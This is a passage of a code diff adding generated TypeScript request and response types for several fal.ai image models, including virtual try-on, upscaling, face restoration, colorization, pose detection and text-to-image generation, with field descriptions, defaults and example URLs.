+ upper: 'upper', + lower: 'lower', + overall: 'overall', + inner: 'inner', + outer: 'outer', +} as const + +export type InputFalAiCatVtonClothTypeEnumKey = + (typeof inputFalAiCatVtonClothTypeEnum)[keyof typeof inputFalAiCatVtonClothTypeEnum] + +export type InputFalAiCatVton = { + /** + * @description + * The same seed and the same input given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The size of the generated image. + * @default portrait_4_3 + */ + image_size?: ImageSize2D70Ab8E | InputFalAiCatVtonImageSizeKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * Type of the Cloth to be tried on. + * + * Options: + * upper: Upper body cloth + * lower: Lower body cloth + * overall: Full body cloth + * inner: Inner cloth, like T-shirt inside a jacket + * outer: Outer cloth, like a jacket over a T-shirt + * + * @example upper + * @example lower + * @example overall + * @example inner + * @example outer + * @type string + */ + cloth_type: InputFalAiCatVtonClothTypeEnumKey + /** + * @description Url for the human image. + * @example https://storage.googleapis.com/falserverless/catvton/man5.jpg + * @type string + */ + human_image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Url to the garment image. + * @example https://storage.googleapis.com/falserverless/catvton/tshirt.jpg + * @type string + */ + garment_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2Ab23D1B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiCatVton = { + /** + * @description The output image. + * @type object + */ + image: Image2Ab23D1B +} + +export type InputFalAiClarityUpscaler = { + /** + * @description + * The creativity of the model. The higher the creativity, the more the model will deviate from the prompt. + * Refers to the denoise strength of the sampling. + * + * @minimum 0 + * @maximum 1 + * @default 0.35 + * @type number | undefined + */ + creativity?: number + /** + * @description The upscale factor + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @default 'masterpiece, best quality, highres' + * @example masterpiece, best quality, highres + * @type string | undefined + */ + prompt?: string + /** + * @description The negative prompt to use. Use it to address details that you don't want in the image. + * @default '(worst quality, low quality, normal quality:2)' + * @example (worst quality, low quality, normal quality:2) + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to upscale. + * @example https://storage.googleapis.com/falserverless/gallery/NOCA_Mick-Thompson.resized.resized.jpg + * @type string + */ + image_url: string + /** + * @description If set to false, the safety checker will be disabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The resemblance of the upscaled image to the original image. The higher the resemblance, the more the model will try to keep the original image. + * Refers to the strength of the ControlNet. + * + * @minimum 0 + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + resemblance?: number + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 18 + * @type integer | undefined + */ + num_inference_steps?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDf055A91 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiClarityUpscaler = { + /** + * @description The seed used to generate the image. + * @type integer + */ + seed: number + /** + * @description The URL of the generated image. + * @type object + */ + image: ImageDf055A91 + /** + * @description The timings of the different steps in the workflow. + * @type object + */ + timings: { + [key: string]: number + } +} + +export type InputFalAiCodeformer = { + /** + * @description URL of image to be used for relighting + * @example https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_poor_1.jpeg + * @type string + */ + image_url: string + /** + * @description Weight of the fidelity factor. + * @default 0.5 + * @type number | undefined + */ + fidelity?: number + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description Should only center face be restored + * @default false + * @type boolean | undefined + */ + only_center_face?: boolean + /** + * @description Upscaling factor + * @minimum 1 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Should faces be upscaled + * @default true + * @type boolean | undefined + */ + face_upscale?: boolean + /** + * @description Should faces etc should be aligned. + * @default false + * @type boolean | undefined + */ + aligned?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageC7A40C99 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiCodeformer = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image file info. + * @example {"content_type":"image/png","file_size":423052,"height":512,"file_name":"36d3ca4791a647678b2ff01a35c87f5a.png","width":512,"url":"https://storage.googleapis.com/falserverless/model_tests/codeformer/codeformer_restored_1.jpeg"} + * @type object + */ + image: ImageC7A40C99 +} + +export const inputFalAiControlLightOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiControlLightOutputFormatEnumKey = + (typeof inputFalAiControlLightOutputFormatEnum)[keyof typeof inputFalAiControlLightOutputFormatEnum] + +export type InputFalAiControlLight = { + /** + * @description Enable the safety checker for the output image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of denoising steps. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If True, return images as data URIs instead of CDN URLs. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output image format. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiControlLightOutputFormatEnumKey + /** + * @description Strength of the lighting enhancement (LoRA adapter scale). 0.0 leaves the image essentially untouched; 1.0 applies the strongest exposure lift the LoRA was trained for. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + lighting_level?: number + /** + * @description Random seed for reproducible generation. If not set, a random seed is used. + */ + seed?: number | null + /** + * @description URL of the image to enhance. + * @example https://v3b.fal.media/files/b/0a9be5e2/6SUJmL4nvMUZi4M4UyK1s_f0cb8034-3c86-4c16-8eb5-eee7503c16af.png + * @type string + */ + image_url: string + /** + * @description Classifier-free guidance scale. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Restoration prompt fed to FLUX.2 [klein]. + * @default 'Enhance this low-light image by lifting exposure and recovering visible details while preserving identity, geometry, atmosphere, natural colors, and avoiding halos, noise, over-sharpening, or overexposure.' + * @type string | undefined + */ + prompt?: string +} + +export type ImageFileB205Ea70 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiControlLight = { + /** + * @description The enhanced image. + * @example [{"content_type":"image/png","height":1360,"width":768,"url":"https://v3b.fal.media/files/b/0a9be5e5/Hc8GFTr6W5i7iITqfBLXQ_jEMONTDu.png"}] + * @type array + */ + images: ImageFileB205Ea70[] + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Whether the generated image contains NSFW concepts. + * @example [false] + * @type array | undefined + */ + has_nsfw_concepts?: boolean[] +} + +export const inputFalAiCreativeUpscalerModelTypeEnum = { + SD_1_5: 'SD_1_5', + SDXL: 'SDXL', +} as const + +export type InputFalAiCreativeUpscalerModelTypeEnumKey = + (typeof inputFalAiCreativeUpscalerModelTypeEnum)[keyof typeof inputFalAiCreativeUpscalerModelTypeEnum] + +export type InputFalAiCreativeUpscaler = { + /** + * @description + * The number of inference steps to use for generating the image. The more steps + * the better the image will be but it will also take longer to generate. + * + * @minimum 1 + * @maximum 200 + * @default 20 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. If no prompt is provide BLIP2 will be used to generate a prompt. + */ + prompt?: string | null + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @example 42 + */ + seed?: number | null + /** + * @description The scale of the additional LORA model to use for the upscaling. Default is 1.0 + * @default 1 + * @type number | undefined + */ + additional_lora_scale?: number + /** + * @description The type of model to use for the upscaling. Default is SD_1_5 + * @default 'SD_1_5' + * @example SD_1_5 + * @example SDXL + * @type string | undefined + */ + model_type?: InputFalAiCreativeUpscalerModelTypeEnumKey + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default 'blurry, low resolution, bad, ugly, low quality, pixelated, interpolated, compression artifacts, noisey, grainy' + * @example blurry, low resolution, bad, ugly, low quality, pixelated, interpolated, compression artifacts, noisey, grainy + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL to the additional LORA model to use for the upscaling. Default is None + * @type string | undefined + */ + additional_lora_url?: string + /** + * @description The scale of the output image. The higher the scale, the bigger the output image will be. + * @minimum 1 + * @maximum 5 + * @default 2 + * @type number | undefined + */ + scale?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 16 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URL to a content-valid safetensors base model for upscaling + */ + base_model_url?: string | null + /** + * @description The URL to the additional embeddings to use for the upscaling. Default is None + * @type string | undefined + */ + additional_embedding_url?: string + /** + * @description + * Allow for large uploads that could take a very long time. + * + * @default false + * @type boolean | undefined + */ + override_size_limits?: boolean + /** + * @description Whether to run the input and output safety checkers. Disabling the input checker requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image to upscale. + * @example https://storage.googleapis.com/falserverless/model_tests/upscale/owl.png + * @example https://storage.googleapis.com/falserverless/gallery/blue-bird.jpeg + * @type string + */ + image_url: string + /** + * @description How much detail to add + * @minimum 0 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + detail?: number + /** + * @description The suffix to add to the prompt. This is useful to add a common ending to all prompts such as 'high quality' etc or embedding tokens. + * @default ' high quality, highly detailed, high resolution, sharp' + * @type string | undefined + */ + prompt_suffix?: string + /** + * @description How much to preserve the shape of the original image + * @minimum 0 + * @maximum 3 + * @default 0.25 + * @type number | undefined + */ + shape_preservation?: number + /** + * @description + * Legacy option for the model's output safety check. Use + * enable_safety_checker to also control the input safety checker. + * + * @deprecated + * @default true + * @type boolean | undefined + */ + enable_safety_checks?: boolean + /** + * @description How much the output can deviate from the original + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + creativity?: number + /** + * @description + * If set to true, the image will not be processed by the CCSR model before + * being processed by the creativity model. + * + * @default false + * @type boolean | undefined + */ + skip_ccsr?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF5Ac3Fa2 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiCreativeUpscaler = { + /** + * @description The generated image file info. + * @type object + */ + image: ImageF5Ac3Fa2 + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type InputFalAiDdcolor = { + /** + * @description seed to be used for generation + * @type integer | undefined + */ + seed?: number + /** + * @description URL of image to be used for relighting + * @example https://storage.googleapis.com/falserverless/gallery/Screenshot%202025-02-26%20154226.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image3F8Ec326 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiDdcolor = { + /** + * @description The generated image file info. + * @example {"width":512,"url":"https://storage.googleapis.com/falserverless/gallery/5fcaaac6d1344d998ebb9703102c6c63.png","height":512,"content_type":"image/png","file_size":423052,"file_name":"36d3ca4791a647678b2ff01a35c87f5a.png"} + * @type object + */ + image: Image3F8Ec326 +} + +export const inputFalAiDwposeDrawModeEnum = { + 'full-pose': 'full-pose', + 'body-pose': 'body-pose', + 'face-pose': 'face-pose', + 'hand-pose': 'hand-pose', + 'face-hand-mask': 'face-hand-mask', + 'face-mask': 'face-mask', + 'hand-mask': 'hand-mask', +} as const + +export type InputFalAiDwposeDrawModeEnumKey = + (typeof inputFalAiDwposeDrawModeEnum)[keyof typeof inputFalAiDwposeDrawModeEnum] + +export type InputFalAiDwpose = { + /** + * @description URL of the image to be processed + * @example https://github.com/badayvedat/sane-controlnet-aux/blob/main/tests/data/pose_sample.jpg?raw=true + * @type string + */ + image_url: string + /** + * @description Mode of drawing the pose on the image. Options are: 'full-pose', 'body-pose', 'face-pose', 'hand-pose', 'face-hand-mask', 'face-mask', 'hand-mask'. + * @default 'body-pose' + * @example body-pose + * @type string | undefined + */ + draw_mode?: InputFalAiDwposeDrawModeEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image623B4561 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiDwpose = { + /** + * @description The predicted pose image + * @type object + */ + image: Image623B4561 +} + +export const inputFalAiEmu35ImageEditImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiEmu35ImageEditImageOutputFormatEnumKey = + (typeof inputFalAiEmu35ImageEditImageOutputFormatEnum)[keyof typeof inputFalAiEmu35ImageEditImageOutputFormatEnum] + +export const inputFalAiEmu35ImageEditImageResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiEmu35ImageEditImageResolutionEnumKey = + (typeof inputFalAiEmu35ImageEditImageResolutionEnum)[keyof typeof inputFalAiEmu35ImageEditImageResolutionEnum] + +export const inputFalAiEmu35ImageEditImageAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiEmu35ImageEditImageAspectRatioEnumKey = + (typeof inputFalAiEmu35ImageEditImageAspectRatioEnum)[keyof typeof inputFalAiEmu35ImageEditImageAspectRatioEnum] + +export type InputFalAiEmu35ImageEditImage = { + /** + * @description Whether to return the image in sync mode. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the output image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiEmu35ImageEditImageOutputFormatEnumKey + /** + * @description The resolution of the output image. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiEmu35ImageEditImageResolutionEnumKey + /** + * @description The image to edit. + * @example https://v3b.fal.media/files/b/lion/iC4LKAESSVo4ug-XzmR11_e9cafdab-c8b4-4267-804e-230e3d0d0814.png + * @type string + */ + image_url: string + /** + * @description The prompt to edit the image. + * @example Recreate this image in ukiyo-e style + * @type string + */ + prompt: string + /** + * @description The seed for the inference. + */ + seed?: number | null + /** + * @description The aspect ratio of the output image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiEmu35ImageEditImageAspectRatioEnumKey + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile2A6Aa21D = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiEmu35ImageEditImage = { + /** + * @description The edited image. + * @example [{"height":1168,"width":784,"url":"https://v3b.fal.media/files/b/monkey/t4nYWb1Zk7Uc6x2nSLysb.jpg","content_type":"image/jpeg","file_name":"t4nYWb1Zk7Uc6x2nSLysb.jpg"}] + * @type array + */ + images: ImageFile2A6Aa21D[] + /** + * @description The seed for the inference. + * @example 1021074961 + * @type integer + */ + seed: number +} + +export const inputFalAiEmu35ImageTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiEmu35ImageTextToImageOutputFormatEnumKey = + (typeof inputFalAiEmu35ImageTextToImageOutputFormatEnum)[keyof typeof inputFalAiEmu35ImageTextToImageOutputFormatEnum] + +export const inputFalAiEmu35ImageTextToImageResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiEmu35ImageTextToImageResolutionEnumKey = + (typeof inputFalAiEmu35ImageTextToImageResolutionEnum)[keyof typeof inputFalAiEmu35ImageTextToImageResolutionEnum] + +export const inputFalAiEmu35ImageTextToImageAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiEmu35ImageTextToImageAspectRatioEnumKey = + (typeof inputFalAiEmu35ImageTextToImageAspectRatioEnum)[keyof typeof inputFalAiEmu35ImageTextToImageAspectRatioEnum] + +export type InputFalAiEmu35ImageTextToImage = { + /** + * @description Whether to return the image in sync mode. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the output image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiEmu35ImageTextToImageOutputFormatEnumKey + /** + * @description The seed for the inference. + */ + seed?: number | null + /** + * @description The prompt to create the image. + * @example Capture an intimate close-up bathed in warm, soft, late-afternoon sunlight filtering into a quintessential 1960s kitchen. The focal point is a charmingly designed vintage package of all-purpose flour, resting invitingly on a speckled Formica countertop. The packaging itself evokes pure nostalgia: perhaps thick, slightly textured paper in a warm cream tone, adorned with simple, bold typography (a friendly serif or script) in classic red and blue "ALL-PURPOSE FLOUR", featuring a delightful illustration like a stylized sheaf of wheat or a cheerful baker character. In smaller bold print at the bottom of the package: "NET WT 5 LBS (80 OZ) 2.27kg". Focus sharply on the package details – the slightly soft edges of the paper bag, the texture of the vintage printing, the inviting "All-Purpose Flour" text. Subtle hints of the 1960s kitchen frame the shot – the chrome edge of the counter gleaming softly, a blurred glimpse of a pastel yellow ceramic tile backsplash, or the corner of a vintage metal canister set just out of focus. The shallow depth of field keeps attention locked on the beautifully designed package, creating an aesthetic rich in warmth, authenticity, and nostalgic appeal. + * @type string + */ + prompt: string + /** + * @description The resolution of the output image. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiEmu35ImageTextToImageResolutionEnumKey + /** + * @description The aspect ratio of the output image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiEmu35ImageTextToImageAspectRatioEnumKey + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile5C0F634A = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiEmu35ImageTextToImage = { + /** + * @description The edited image. + * @example [{"height":880,"width":1184,"url":"https://v3b.fal.media/files/b/koala/UFe9ES9IGdp0N90JmCyd4.jpg","content_type":"image/jpeg","file_name":"2_gRhwfsnmNKYtZ_dveyV.jpg"}] + * @type array + */ + images: ImageFile5C0F634A[] + /** + * @description The seed for the inference. + * @example 1815037768 + * @type integer + */ + seed: number +} + +export type ImageSize684Eae19 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiErnieImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiErnieImageAccelerationEnumKey = + (typeof inputFalAiErnieImageAccelerationEnum)[keyof typeof inputFalAiErnieImageAccelerationEnum] + +export const inputFalAiErnieImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiErnieImageOutputFormatEnumKey = + (typeof inputFalAiErnieImageOutputFormatEnum)[keyof typeof inputFalAiErnieImageOutputFormatEnum] + +export const inputFalAiErnieImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + square_uhd: 'square_uhd', + portrait_3_2: 'portrait_3_2', + landscape_3_2: 'landscape_3_2', + portrait_hd: 'portrait_hd', + landscape_hd: 'landscape_hd', +} as const + +export type InputFalAiErnieImageImageSizeKey = + (typeof inputFalAiErnieImageImageSize)[keyof typeof inputFalAiErnieImageImageSize] + +export type InputFalAiErnieImage = { + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable NSFW safety checking on the generated images. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text prompt for image generation. Supports English, Chinese, and Japanese. + * @example A serene mountain landscape at sunset with golden light + * @type string + */ + prompt: string + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiErnieImageAccelerationEnumKey + /** + * @description If True, the image will be returned as a data URI instead of a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiErnieImageOutputFormatEnumKey + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description If True, the prompt will be enhanced using an LLM for more detailed results. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt to guide what should not be in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize684Eae19 | InputFalAiErnieImageImageSizeKey +} + +export type ImageC6Fbedb5 = { + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null + height: number +} + +export type OutputFalAiErnieImage = { + /** + * @description Seed used for generation. + * @type integer + */ + seed: number + /** + * @description Timing information. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description List of generated images. + * @type array + */ + images: ImageC6Fbedb5[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type LoraWeight = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeA4556963 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiErnieImageLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiErnieImageLoraOutputFormatEnumKey = + (typeof inputFalAiErnieImageLoraOutputFormatEnum)[keyof typeof inputFalAiErnieImageLoraOutputFormatEnum] + +export const inputFalAiErnieImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + square_uhd: 'square_uhd', + portrait_3_2: 'portrait_3_2', + landscape_3_2: 'landscape_3_2', + portrait_hd: 'portrait_hd', + landscape_hd: 'landscape_hd', +} as const + +export type InputFalAiErnieImageLoraImageSizeKey = + (typeof inputFalAiErnieImageLoraImageSize)[keyof typeof inputFalAiErnieImageLoraImageSize] + +export const inputFalAiErnieImageLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiErnieImageLoraAccelerationEnumKey = + (typeof inputFalAiErnieImageLoraAccelerationEnum)[keyof typeof inputFalAiErnieImageLoraAccelerationEnum] + +export type InputFalAiErnieImageLora = { + /** + * @description The LoRAs to use for image generation. You can use up to 3 LoRAs and they will be merged together to generate the final image. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight[] + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiErnieImageLoraOutputFormatEnumKey + /** + * @description Enable NSFW safety checking on the generated images. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Negative prompt to guide what should not be in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeA4556963 | InputFalAiErnieImageLoraImageSizeKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiErnieImageLoraAccelerationEnumKey + /** + * @description Text prompt for image generation. Supports English, Chinese, and Japanese. + * @example A serene mountain landscape at sunset with golden light + * @type string + */ + prompt: string + /** + * @description If True, the prompt will be enhanced using an LLM for more detailed results. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If True, the image will be returned as a data URI instead of a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. + */ + seed?: number | null +} + +export type ImageFd1988E8 = { + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null + height: number +} + +export type OutputFalAiErnieImageLora = { + /** + * @description Seed used for generation. + * @type integer + */ + seed: number + /** + * @description Timing information. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description List of generated images. + * @type array + */ + images: ImageFd1988E8[] + /** + * @description The prompt used for generating the image. + * @type string + 